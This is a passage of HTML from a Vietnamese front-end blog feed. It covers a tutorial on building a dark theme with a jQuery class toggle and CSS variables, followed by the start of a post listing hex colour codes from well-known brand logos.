punctuation">&lt;/</span>body</span><span class="token punctuation">></span></span></code></pre></div> <p>Giao diện mặc định ban đầu là kiểu <strong>Light</strong>.</p> <p>Để thay đổi giao diện sang kiểu <strong>Dark</strong>, mình sẽ thêm một class với tên "dark" vào <em>body</em> - vì <em>body</em> là cấp cao nhất chứa nội dung trang web.</p> <div class="gatsby-highlight" data-language="html"><pre class="language-html"><code class="language-html"><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>body</span> <span class="token attr-name">class</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>dark<span class="token punctuation">"</span></span><span class="token punctuation">></span></span> <span class="token comment">&lt;!-- Nội dung không thay đổi --></span> <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>body</span><span class="token punctuation">></span></span></code></pre></div> <p>Dĩ nhiên, việc thêm hay không thêm <em>class</em>, mình áp dụng thông qua 2 button <em>Dark</em>, <em>Light</em> - bên trên cùng của <em>body</em>.</p> <p>Ví dụ sử dụng jQuery:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token function">$</span><span class="token punctuation">(</span>document<span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">ready</span><span class="token punctuation">(</span><span class="token keyword">function</span> <span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">const</span> $body <span class="token operator">=</span> <span class="token function">$</span><span class="token punctuation">(</span><span class="token string">"body"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">const</span> $btns <span class="token operator">=</span> <span class="token function">$</span><span class="token punctuation">(</span><span class="token string">".btn"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> $btns<span class="token punctuation">.</span><span class="token function">on</span><span class="token punctuation">(</span><span class="token string">"click"</span><span class="token punctuation">,</span> <span class="token keyword">function</span> <span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> $btns<span class="token punctuation">.</span><span class="token function">removeClass</span><span class="token punctuation">(</span><span class="token string">"active"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token function">$</span><span class="token punctuation">(</span><span class="token keyword">this</span><span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">addClass</span><span class="token punctuation">(</span><span class="token string">"active"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> $body<span class="token punctuation">.</span><span class="token function">toggleClass</span><span class="token punctuation">(</span><span class="token string">"dark"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <p>Tiếp theo là việc thay đổi style.</p> <h3 id="khi-không-sử-dụng-css-variable" style="position:relative;"><a href="#khi-kh%C3%B4ng-s%E1%BB%AD-d%E1%BB%A5ng-css-variable" aria-label="khi không sử dụng css variable permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Khi không sử dụng CSS variable</h3> <p>Giả sử, giao diện Light theme ban đầu có style như sau:</p> <div class="gatsby-highlight" data-language="css"><pre class="language-css"><code class="language-css"><span class="token selector">*</span> <span class="token punctuation">{</span> <span class="token property">box-sizing</span><span class="token punctuation">:</span> border-box<span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token selector">body</span> <span class="token punctuation">{</span> <span class="token property">margin</span><span class="token punctuation">:</span> 0<span class="token punctuation">;</span> <span class="token property">padding</span><span class="token punctuation">:</span> 15px<span class="token punctuation">;</span> <span class="token property">font</span><span class="token punctuation">:</span> normal normal normal 1rem/1.6 Nunito Sans<span class="token punctuation">,</span> Helvetica<span class="token punctuation">,</span> Arial<span class="token punctuation">,</span> sans-serif<span class="token punctuation">;</span> <span class="token property">color</span><span class="token punctuation">:</span> #222<span class="token punctuation">;</span> <span class="token property">background-color</span><span class="token punctuation">:</span> #e8edec<span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token selector">main</span> <span class="token punctuation">{</span> <span class="token property">width</span><span class="token punctuation">:</span> 100%<span class="token punctuation">;</span> <span class="token property">max-width</span><span class="token punctuation">:</span> 40rem<span class="token punctuation">;</span> <span class="token property">margin</span><span class="token punctuation">:</span> 15px auto<span class="token punctuation">;</span> <span class="token property">padding</span><span class="token punctuation">:</span> 15px<span class="token punctuation">;</span> <span class="token property">background-color</span><span class="token punctuation">:</span> #fff<span class="token punctuation">;</span> <span class="token property">box-shadow</span><span class="token punctuation">:</span> 0 1px 3px <span class="token function">rgba</span><span class="token punctuation">(</span>0<span class="token punctuation">,</span> 0<span class="token punctuation">,</span> 0<span class="token punctuation">,</span> 0.12<span class="token punctuation">)</span><span class="token punctuation">,</span> 0 1px 2px <span class="token function">rgba</span><span class="token punctuation">(</span>0<span class="token punctuation">,</span> 0<span class="token punctuation">,</span> 0<span class="token punctuation">,</span> 0.24<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token property">-webkit-box-shadow</span><span class="token punctuation">:</span> 0 1px 3px <span class="token function">rgba</span><span class="token punctuation">(</span>0<span class="token punctuation">,</span> 0<span class="token punctuation">,</span> 0<span class="token punctuation">,</span> 0.12<span class="token punctuation">)</span><span class="token punctuation">,</span> 0 1px 2px <span class="token function">rgba</span><span class="token punctuation">(</span>0<span class="token punctuation">,</span> 0<span class="token punctuation">,</span> 0<span class="token punctuation">,</span> 0.24<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token property">-moz-box-shadow</span><span class="token punctuation">:</span> 0 1px 3px <span class="token function">rgba</span><span class="token punctuation">(</span>0<span class="token punctuation">,</span> 0<span class="token punctuation">,</span> 0<span class="token punctuation">,</span> 0.12<span class="token punctuation">)</span><span class="token punctuation">,</span> 0 1px 2px <span class="token function">rgba</span><span class="token punctuation">(</span>0<span class="token punctuation">,</span> 0<span class="token punctuation">,</span> 0<span class="token punctuation">,</span> 0.24<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token selector">.option</span> <span class="token punctuation">{</span> <span class="token property">font-size</span><span class="token punctuation">:</span> 0.8rem<span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token selector">.btn</span> <span class="token punctuation">{</span> <span class="token property">padding</span><span class="token punctuation">:</span> 5px 10px<span class="token punctuation">;</span> <span class="token property">background-color</span><span class="token punctuation">:</span> #e8edec<span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token selector">.btn.active</span> <span class="token punctuation">{</span> <span class="token property">background-color</span><span class="token punctuation">:</span> #222<span class="token punctuation">;</span> <span class="token property">color</span><span class="token punctuation">:</span> #fff<span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token selector">.btn:not(.active):hover</span> <span class="token punctuation">{</span> <span class="token property">cursor</span><span class="token punctuation">:</span> pointer<span class="token punctuation">;</span> <span class="token punctuation">}</span></code></pre></div> <p>Với Dark theme, mình phải đặt tất cả element cần thay đổi vào bên trong class "dark" để tuỳ chỉnh:</p> <div class="gatsby-highlight" data-language="css"><pre class="language-css"><code class="language-css"><span class="token selector">.dark</span> <span class="token punctuation">{</span> <span class="token property">color</span><span class="token punctuation">:</span> #e8edec<span class="token punctuation">;</span> <span class="token property">background-color</span><span class="token punctuation">:</span> #222<span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token selector">.dark main</span> <span class="token punctuation">{</span> <span class="token property">background-color</span><span class="token punctuation">:</span> #000<span class="token punctuation">;</span> <span class="token property">box-shadow</span><span class="token punctuation">:</span> 0 1px 3px <span class="token function">rgba</span><span class="token punctuation">(</span>255<span class="token punctuation">,</span> 255<span class="token punctuation">,</span> 255<span class="token punctuation">,</span> 0.12<span class="token punctuation">)</span><span class="token punctuation">,</span> 0 1px 2px <span class="token function">rgba</span><span class="token punctuation">(</span>255<span class="token punctuation">,</span> 255<span class="token punctuation">,</span> 255<span class="token punctuation">,</span> 0.24<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token property">-webkit-box-shadow</span><span class="token punctuation">:</span> 0 1px 3px <span class="token function">rgba</span><span class="token punctuation">(</span>255<span class="token punctuation">,</span> 255<span class="token punctuation">,</span> 255<span class="token punctuation">,</span> 0.12<span class="token punctuation">)</span><span class="token punctuation">,</span> 0 1px 2px <span class="token function">rgba</span><span class="token punctuation">(</span>255<span class="token punctuation">,</span> 255<span class="token punctuation">,</span> 255<span class="token punctuation">,</span> 0.24<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token property">-moz-box-shadow</span><span class="token punctuation">:</span> 0 1px 3px <span class="token function">rgba</span><span class="token punctuation">(</span>255<span class="token punctuation">,</span> 255<span class="token punctuation">,</span> 255<span class="token punctuation">,</span> 0.12<span class="token punctuation">)</span><span class="token punctuation">,</span> 0 1px 2px <span class="token function">rgba</span><span class="token punctuation">(</span>255<span class="token punctuation">,</span> 255<span class="token punctuation">,</span> 255<span class="token punctuation">,</span> 0.24<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token selector">.dark .btn</span> <span class="token punctuation">{</span> <span class="token property">background-color</span><span class="token punctuation">:</span> #222<span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token selector">.dark .btn.active</span> <span class="token punctuation">{</span> <span class="token property">background-color</span><span class="token punctuation">:</span> #fff<span class="token punctuation">;</span> <span class="token property">color</span><span class="token punctuation">:</span> #000<span class="token punctuation">;</span> <span class="token punctuation">}</span></code></pre></div> <p>Rõ ràng là có bao nhiêu phần tử cần thay đổi thì mình cần phải đặt bấy nhiêu phần tử vào bên trong class <em>dark</em> để tuỳ biến. Như vậy, vừa bị lặp code, mà mỗi khi muốn thay đổi thì sẽ rất vất vả.</p> <p>Theo mình thấy, người ta thường sẽ tách phần code thành 2 file kiểu như:</p> <ul> <li><em>main-theme-light.css</em></li> <li><em>main-theme-dark.css</em></li> </ul> <p>Rồi khi muốn thêm một theme mới, người ta sẽ tạo ra một file tương đương như <em>main-theme-dark.css</em> (ví dụ <em>main-theme-custom.css</em>). Rồi lại sửa thủ công trong file này để tạo ra một theme mới. Nếu code ngắn thì không sao, nhưng khi lượng code lớn, việc tìm kiếm và thay thế quả thật rất khó khăn.</p> <p><em>Nếu bạn đã từng hard-code thì sẽ hiểu điều này!!!</em></p> <h3 id="khi-sử-dụng-css-variable" style="position:relative;"><a href="#khi-s%E1%BB%AD-d%E1%BB%A5ng-css-variable" aria-label="khi sử dụng css variable permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Khi sử dụng CSS variable</h3> <p>Đầu tiên, mình phải xác định những thành phần sẽ sử dụng làm biến số để định nghĩa nó trong <em>body</em>. Khi đó, thẻ <em>body</em> được định nghĩa như sau:</p> <div class="gatsby-highlight" data-language="css"><pre class="language-css"><code class="language-css"><span class="token selector">body</span> <span class="token punctuation">{</span> <span class="token property">--primary-color</span><span class="token punctuation">:</span> #222<span class="token punctuation">;</span> <span class="token property">--primary-bg-color</span><span class="token punctuation">:</span> #e8edec<span class="token punctuation">;</span> <span class="token property">--main-txt-color</span><span class="token punctuation">:</span> #222<span class="token punctuation">;</span> <span class="token property">--main-bg-color</span><span class="token punctuation">:</span> #fff<span class="token punctuation">;</span> <span class="token property">--active-txt-color</span><span class="token punctuation">:</span> #fff<span class="token punctuation">;</span> <span class="token property">--shadow-style</span><span class="token punctuation">:</span> 0 1px 3px <span class="token function">rgba</span><span class="token punctuation">(</span>0<span class="token punctuation">,</span> 0<span class="token punctuation">,</span> 0<span class="token punctuation">,</span> 0.12<span class="token punctuation">)</span><span class="token punctuation">,</span> 0 1px 2px <span class="token function">rgba</span><span class="token punctuation">(</span>0<span class="token punctuation">,</span> 0<span class="token punctuation">,</span> 0<span class="token punctuation">,</span> 0.24<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token property">margin</span><span class="token punctuation">:</span> 0<span class="token punctuation">;</span> <span class="token property">padding</span><span class="token punctuation">:</span> 15px<span class="token punctuation">;</span> <span class="token property">font</span><span class="token punctuation">:</span> normal normal normal 1rem/1.6 Nunito Sans<span class="token punctuation">,</span> Helvetica<span class="token punctuation">,</span> Arial<span class="token punctuation">,</span> sans-serif<span class="token punctuation">;</span> <span class="token property">color</span><span class="token punctuation">:</span> <span class="token function">var</span><span class="token punctuation">(</span>--primary-color<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token property">background-color</span><span class="token punctuation">:</span> <span class="token function">var</span><span class="token punctuation">(</span>--primary-bg-color<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span></code></pre></div> <p>Mình định nghĩa CSS variable ở ngay phần đầu của <em>body</em> rồi sử dụng ngay <em>--primary-color</em> và <em>--primary-bg-color</em> phía dưới.</p> <p>Để tạo Dark Theme với CSS variable, mình định nghĩa lại giá trị của các biến số như sau:</p> <div class="gatsby-highlight" data-language="css"><pre class="language-css"><code class="language-css"><span class="token selector">body.dark</span> <span class="token punctuation">{</span> <span class="token property">--primary-color</span><span class="token punctuation">:</span> #e8edec<span class="token punctuation">;</span> <span class="token property">--primary-bg-color</span><span class="token punctuation">:</span> #222<span class="token punctuation">;</span> <span class="token property">--main-txt-color</span><span class="token punctuation">:</span> #e8edec<span class="token punctuation">;</span> <span class="token property">--main-bg-color</span><span class="token punctuation">:</span> #000<span class="token punctuation">;</span> <span class="token property">--active-txt-color</span><span class="token punctuation">:</span> #000<span class="token punctuation">;</span> <span class="token property">--shadow-style</span><span class="token punctuation">:</span> 0 1px 3px <span class="token function">rgba</span><span class="token punctuation">(</span>255<span class="token punctuation">,</span> 255<span class="token punctuation">,</span> 255<span class="token punctuation">,</span> 0.12<span class="token punctuation">)</span><span class="token punctuation">,</span> 0 1px 2px <span class="token function">rgba</span><span class="token punctuation">(</span>255<span class="token punctuation">,</span> 255<span class="token punctuation">,</span> 255<span class="token punctuation">,</span> 0.24<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span></code></pre></div> <p>Rõ ràng, tất cả các biến số đã tập trung ở một nơi. Khi cần thay đổi giao diện thì mình chỉ cần thay đổi giá trị của biến số ở đây là được.</p> <p>Rồi khi muốn thêm giao diện mới, mình chỉ cần định nghĩa thêm như sau:</p> <div class="gatsby-highlight" data-language="css"><pre class="language-css"><code class="language-css"><span class="token selector">body.custom</span> <span class="token punctuation">{</span> <span class="token comment">/* Định nghĩa giá trị của biến số tại đây */</span> <span class="token punctuation">}</span></code></pre></div> <p><strong>Bây giờ sử dụng biến số này thế nào?</strong></p> <p>Vì mình đã định nghĩa CSS variable rồi nên phần main không cần phải lặp lại nhiều nữa, mà chỉ cần sử dụng như sau:</p> <div class="gatsby-highlight" data-language="css"><pre class="language-css"><code class="language-css"><span class="token selector">main</span> <span class="token punctuation">{</span> <span class="token property">width</span><span class="token punctuation">:</span> 100%<span class="token punctuation">;</span> <span class="token property">max-width</span><span class="token punctuation">:</span> 40rem<span class="token punctuation">;</span> <span class="token property">margin</span><span class="token punctuation">:</span> 15px auto<span class="token punctuation">;</span> <span class="token property">padding</span><span class="token punctuation">:</span> 15px<span class="token punctuation">;</span> <span class="token property">background-color</span><span class="token punctuation">:</span> <span class="token function">var</span><span class="token punctuation">(</span>--main-bg-color<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token property">color</span><span class="token punctuation">:</span> <span class="token function">var</span><span class="token punctuation">(</span>--main-txt-color<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token property">box-shadow</span><span class="token punctuation">:</span> <span class="token function">var</span><span class="token punctuation">(</span>--shadow-style<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token property">-webkit-box-shadow</span><span class="token punctuation">:</span> <span class="token function">var</span><span class="token punctuation">(</span>--shadow-style<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token property">-moz-box-shadow</span><span class="token punctuation">:</span> <span class="token function">var</span><span class="token punctuation">(</span>--shadow-style<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token selector">.option</span> <span class="token punctuation">{</span> <span class="token property">font-size</span><span class="token punctuation">:</span> 0.8rem<span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token selector">.btn</span> <span class="token punctuation">{</span> <span class="token property">padding</span><span class="token punctuation">:</span> 5px 10px<span class="token punctuation">;</span> <span class="token property">background-color</span><span class="token punctuation">:</span> <span class="token function">var</span><span class="token punctuation">(</span>--primary-bg-color<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token selector">.btn.active</span> <span class="token punctuation">{</span> <span class="token property">background-color</span><span class="token punctuation">:</span> <span class="token function">var</span><span class="token punctuation">(</span>--primary-color<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token property">color</span><span class="token punctuation">:</span> <span class="token function">var</span><span class="token punctuation">(</span>--active-txt-color<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token selector">.btn:not(.active):hover</span> <span class="token punctuation">{</span> <span class="token property">cursor</span><span class="token punctuation">:</span> pointer<span class="token punctuation">;</span> <span class="token punctuation">}</span></code></pre></div> <h2 id="demo" style="position:relative;"><a href="#demo" aria-label="demo permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Demo</h2> <h3 id="demo-tạo-dark-theme-không-sử-dụng-css-variable" style="position:relative;"><a href="#demo-t%E1%BA%A1o-dark-theme-kh%C3%B4ng-s%E1%BB%AD-d%E1%BB%A5ng-css-variable" aria-label="demo tạo dark theme không sử dụng css variable permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Demo tạo dark theme không sử dụng css variable</h3> <p><a href="https://codepen.io/completejavascript/pen/bmYVjR"><div><iframe height='500' scrolling='no' src='//codepen.io/completejavascript/embed/preview/bmYVjR/?height=500&theme-id=dark&default-tab=html,result' frameborder='no' allowtransparency='true' allowfullscreen='true' style='width: 100%;'></iframe></div></a></p> <h3 id="demo-tạo-dark-theme-với-css-variable" style="position:relative;"><a href="#demo-t%E1%BA%A1o-dark-theme-v%E1%BB%9Bi-css-variable" aria-label="demo tạo dark theme với css variable permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Demo tạo dark theme với css variable</h3> <p><a href="https://codepen.io/completejavascript/pen/PyONOg"><div><iframe height='500' scrolling='no' src='//codepen.io/completejavascript/embed/preview/PyONOg/?height=500&theme-id=dark&default-tab=html,result' frameborder='no' allowtransparency='true' allowfullscreen='true' style='width: 100%;'></iframe></div></a></p> <h2 id="lời-kết" style="position:relative;"><a href="#l%E1%BB%9Di-k%E1%BA%BFt" aria-label="lời kết permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Lời kết</h2> <p>Trên đây là cách tạo dark theme với CSS variable. Và dĩ nhiên, bạn có thể áp dụng để tạo thêm nhiều kiểu theme khác nhau một cách đơn giản.</p> <p>Bài này mình chỉ làm một Demo chạy thử nghiệm, nên là không biết những phần mình giải thích phía trên bạn có hiểu hết không? Hy vọng là bạn hiểu được cái ý tưởng chính của nó.</p> <p>Nếu có phần nào khó hiểu, hy vọng bạn góp ý lại với mình. Còn bây giờ thì xin chào và hẹn gặp lại!</p>[email protected]<![CDATA[Mã màu logo các thương hiệu nổi tiếng]]><![CDATA[Đã bao giờ bạn rơi vào trường hợp không biết lựa chọn, sử dụng hay phối hợp màu sắc sao cho hợp lý chưa? Có một cách đơn giản mà mình thường dùng là học hỏi từ các thương hiệu nổi…]]>https://completejavascript.com/ma-mau-logo-cac-thuong-hieu-noi-tieng/https://completejavascript.com/ma-mau-logo-cac-thuong-hieu-noi-tieng/<![CDATA[CSS]]>Wed, 04 Apr 2018 00:00:52 GMT<p>Đã bao giờ bạn rơi vào trường hợp không biết lựa chọn, sử dụng hay phối hợp màu sắc sao cho hợp lý chưa? Có một cách đơn giản mà mình thường dùng là học hỏi từ các thương hiệu nổi tiếng. Bạn chỉ cần tải logo của họ về, rồi sử dụng bất kỳ một công cụ chỉnh sửa hình ảnh là có thể lấy ra mã màu ở đó. Hoặc là bạn có thể theo dõi bài viết này. Mình sẽ lấy mã màu logo các thương hiệu nổi tiếng giúp bạn.</p> <h2 id="mã-màu-logo-google" style="position:relative;"><a href="#m%C3%A3-m%C3%A0u-logo-google" aria-label="mã màu logo google permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Mã màu logo Google</h2> <div style="background-color: #4285f4; color: #fff; padding: 15px;">#4285F4</div> <div style="background-color: #fbbc05; color: #fff; padding: 15px;">#FBBC05</div> <div style="background-color: #34a853; color: #fff; padding: 15px;">#34A853</div> <div style="background-color: #ea4335; color: #fff; padding: 15px;">#EA4335</div> <div class="margin-bottom"></div> <h2 id="mã-màu-logo-facebook" style="position:relative;"><a href="#m%C3%A3-m%C3%A0u-logo-facebook" aria-label="mã màu logo facebook permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Mã màu logo Facebook</h2> <div style="background-color: #3b5998; color: #fff; padding: 15px;">#3B5998</div> <div style="background-color: #4267b2; color: #fff; padding: 15px;">#4267b2</div> <div style="background-color: #e9ebee; color: #222; padding: 15px;">#E9EBEE</div> <div style="background-color: #365899; color: #fff; padding: 15px;">#365899</div> <div style="background-color: #f6f7f9; color: #222; padding: 15px;">#F6F7F9</div> <div class="margin-bottom"></div> <h2 id="mã-màu-logo-instagram" style="position:relative;"><a href="#m%C3%A3-m%C3%A0u-logo-instagram" aria-label="mã màu logo instagram permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Mã màu logo Instagram</h2> <div style="background-color: #8a3ab9; color: #fff; padding: 15px;">#8A3AB9</div> <div style="background-color: #e95950; color: #fff; padding: 15px;">#E95950</div> <div style="background-color: #bc2a8d; color: #fff; padding: 15px;">#BC2A8D</div> <div style="background-color: #fccc63; color: #222; padding: 15px;">#FCCC63</div> <div style="background-color: #fbad50; color: #222; padding: 15px;">#FBAD50</div> <div style="background-color: #cd486b; color: #fff; padding: 15px;">#CD486B</div> <div style="background-color: #4c68d7; color: #fff; padding: 15px;">#4C68D7</div> <div class="margin-bottom"></div> <h2 id="mã-màu-logo-twitter" style="position:relative;"><a href="#m%C3%A3-m%C3%A0u-logo-twitter" aria-label="mã màu logo twitter permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Mã màu logo Twitter</h2> <div style="background-color: #1da1f2; color: #fff; padding: 15px;">#1DA1F2</div> <div style="background-color: #14171a; color: #fff; padding: 15px;">#14171A</div> <div style="background-color: #aab8c2; color: #fff; padding: 15px;">#AAB8C2</div> <div style="background-color: #e1e8ed; color: #222; padding: 15px;">#E1E8ED</div> <div style="background-color: #f5f8fa; color: #222; padding: 15px;">#F5F8FA</div> <div class="margin-bottom"></div> <h2 id="mã-màu-logo-microsoft" style="position:relative;"><a href="#m%C3%A3-m%C3%A0u-logo-microsoft" aria-label="mã màu logo microsoft permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 